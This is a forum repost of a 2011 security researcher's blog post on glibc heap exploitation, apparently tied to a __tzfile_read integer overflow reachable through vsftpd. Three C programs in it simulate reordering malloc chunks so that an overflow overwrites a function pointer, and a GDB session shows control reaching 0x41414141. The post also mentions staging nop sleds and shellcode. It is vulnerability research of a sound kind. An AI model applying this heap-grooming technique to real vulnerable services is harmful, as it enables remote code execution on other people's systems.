Jump to content
Nytro

More on exploiting glibc __tzfile_read integer overflow to buffer overflow and vsftpd

By Nytro, in Tutoriale in engleza

Recommended Posts

Nytro Mentor

Nytro

Posted
Posted (edited)

More on exploiting glibc __tzfile_read integer overflow to buffer overflow and vsftpd

Ramon de C Valle

2011.12.15

A few hours after I posted a link to my previous blog post to the Full-Disclosure mailing list, Kingcope, in another post[1], noted a very straightforward method for acquiring arbitrary code execution through loading of a dynamic library file inside the chroot environment, wiping out all my enthusiasm in making an exploit for this issue.

However, there are some details I think are worth mentioning, since the exploitation pattern noted in my previous post can be applied to other similar vulnerabilities.

As noted in my previous post, we can turn out an unpredictable to a very predictable environment for exploitation within a limited scope, such as a single function, through features of the current malloc implementation, such as the FIFO feature (i.e. unsorted chunks), the order of memory allocations and frees within this limited scope, and a pattern of repeated actions.

The following program illustrates how we can force the reordering of the allocation of two chunks within a known limited scope (i.e. __tzfile_read):

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

static time_t *transitions = NULL;
int __use_tzfile = 1;

void
__tzfile_read()
{
    register FILE *f;

    __use_tzfile = 0;

    f = fopen("/usr/share/zoneinfo/GMT0", "rc");
    printf("f = %p\n", f);

    free((void *)transitions);
    transitions = NULL;

    transitions = (time_t *)malloc(sizeof(FILE));
    printf("transitions = %p\n", (void *)transitions);

    fclose(f);

    __use_tzfile = 1;
    return;

 lose:
    fclose(f);

 ret_free_transitions:
    free((void *)transitions);
    transitions = NULL;
}

int
main(int argc, char *argv[])
{
    int i;

    /* This simulates the sequence of four uploads of valid timezone files
     * to the path expected by vsftpd.
     */
    for (i = 0; i < 4; i++) {
        /* This simulates previous memory allocations that may eventually
         * happen between calls to gmtime, localtime, and tzset functions,
         * initializing the main arena, and preventing consolidation.
         */
        malloc(sizeof(FILE));
        __tzfile_read();
    }

    exit(EXIT_SUCCESS);
}

When executing this program, you should see an output similar to this:

[rcvalle@localhost ~]$ gcc -Wall -Wno-unused-label unsorted.c; ./a.out
f = 0x9e4f0a0
transitions = 0x9e4f208
f = 0x9e4f2a0
transitions = 0x9e4f138
f = 0x9e4f268
transitions = 0x9e4f138
f = 0x9e4f300
transitions = 0x9e4f138

Notice we forced the reordering of the chunks allocated for the FILE structure and the transitions buffer in the main arena, through the FIFO feature, the order of memory allocations and frees within our limited scope, in this case, the __tzfile_read function, and a pattern of repeated actions. In addition, notice we also can predict the offset from one chunk to the other and control the amount of memory allocated between them (more on this later).

To be short, I replaced the FILE structure in the previous program by a simple structure containing a function pointer which is subsequently called in place of fclose function within our limited scope:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>

static time_t *transitions = NULL;
int __use_tzfile = 1;

typedef struct myfuncs {
    unsigned int (*mysleep)(unsigned int seconds);
    /* This padding is to make this structure larger than 64 bytes, thus
     * being allocated from main arena.
     */
    char padding[sizeof(FILE)-sizeof(void *)];
} myfuncs_t;

void
__tzfile_read()
{
    register myfuncs_t *f;

    __use_tzfile = 0;

    f = malloc(sizeof(myfuncs_t));
    f->mysleep = &sleep;
    printf("f = %p\n", f);

    free((void *)transitions);
    transitions = NULL;

    transitions = (time_t *)malloc(sizeof(FILE));
    printf("transitions = %p\n", (void *)transitions);

    f->mysleep(3);
    free((void *)f);

    __use_tzfile = 1;
    return;

 lose:
    free((void *)f);

 ret_free_transitions:
    free((void *)transitions);
    transitions = NULL;
}

int
main(int argc, char *argv[])
{
    int i;

    /* This simulates the sequence of four uploads of valid timezone files
     * to the path expected by vsftpd.
     */
    for (i = 0; i < 4; i++) {
        /* This simulates previous memory allocations that may eventually
         * happen between calls to gmtime, localtime, and tzset functions,
         * initializing the main arena, and preventing consolidation.
         */
        malloc(sizeof(FILE));
        __tzfile_read();
    }

    exit(EXIT_SUCCESS);
}

When executing this program, you should see an output similar to this:

[rcvalle@localhost ~]$ gcc -Wall -Wno-unused-label unsorted2.c; ./a.out
f = 0x82ad0a0
transitions = 0x82ad138
f = 0x82ad1d0
transitions = 0x82ad138
f = 0x82ad268
transitions = 0x82ad138
f = 0x82ad300
transitions = 0x82ad138

Notice we again forced the reordering of the chunks allocated, but now for the myfuncs structure. Therefore, if an overflow occurs inside our scope with a fopen(malloc), free, malloc, fclose(free) pattern of calls (there may be other patterns) and the data overflowed is used before the overflowed buffer is freed (i.e. fclose, myfuncs->sleep), we have a complete predictable environment for exploitation.

I added an overflow in the previous program to illustrate this:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

static time_t *transitions = NULL;
int __use_tzfile = 1;

typedef struct myfuncs {
    unsigned int (*mysleep)(unsigned int seconds);
    /* This padding is to make this structure larger than 64 bytes, thus
     * being allocated from main arena.
     */
    char padding[sizeof(FILE)-sizeof(void *)];
} myfuncs_t;

void
__tzfile_read()
{
    register myfuncs_t *f;

    __use_tzfile = 0;

    f = malloc(sizeof(myfuncs_t));
    f->mysleep = &sleep;
    printf("f = %p\n", f);

    free((void *)transitions);
    transitions = NULL;

    transitions = (time_t *)malloc(sizeof(FILE));
    printf("transitions = %p\n", (void *)transitions);

    memset(transitions, 'A', sizeof(FILE) * 8);

    f->mysleep(3);
    free((void *)f);

    __use_tzfile = 1;
    return;

 lose:
    free((void *)f);

 ret_free_transitions:
    free((void *)transitions);
    transitions = NULL;
}

int
main(int argc, char *argv[])
{
    int i;

    /* This simulates the sequence of four uploads of valid timezone files
     * to the path expected by vsftpd.
     */
    for (i = 0; i < 4; i++) {
        /* This simulates previous memory allocations that may eventually
         * happen between calls to gmtime, localtime, and tzset functions,
         * initializing the main arena, and preventing consolidation.
         */
        malloc(sizeof(FILE));
        __tzfile_read();
    }

    exit(EXIT_SUCCESS);
}

When executing this program, you should see the Segmentation Fault occur due to calling our overflowed function pointer:

$ gcc -Wall -Wno-unused-label unsorted3.c; ./a.out
f = 0x956d0a0
transitions = 0x956d138
f = 0x956d1d0
transitions = 0x956d138
Segmentation fault (core dumped)

In GDB:

(gdb) r
Starting program: /home/rcvalle/a.out
f = 0x804a0a0
transitions = 0x804a138
f = 0x804a1d0
transitions = 0x804a138

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Missing separate debuginfos, use: debuginfo-install glibc-2.14-5.i686
(gdb)

Additionally, as I previously mentioned, we also can predict the offset from one chunk to the other and control the amount of memory allocated between them. This can be used to store a large amount of nop instructions or equivalent along with the shellcode, increasing considerably the chances of a successful exploitation. Also, if this memory is not used within our limited scope, the code that eventually may use this will never be reached after the overflow, thus not requiring any patching.

I hope this method of forcing the reordering of chunks allocation being useful to you.

[1] http://lists.grok.org.uk/pipermail/full-disclosure/2011-December/084717.html

Sursa: http://rcvalle.com/post/14261796328/more-on-exploiting-glibc-tzfile-read-integer-overflow

Edited by Nytro

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
Go to topic listing
×
×
  • Create New...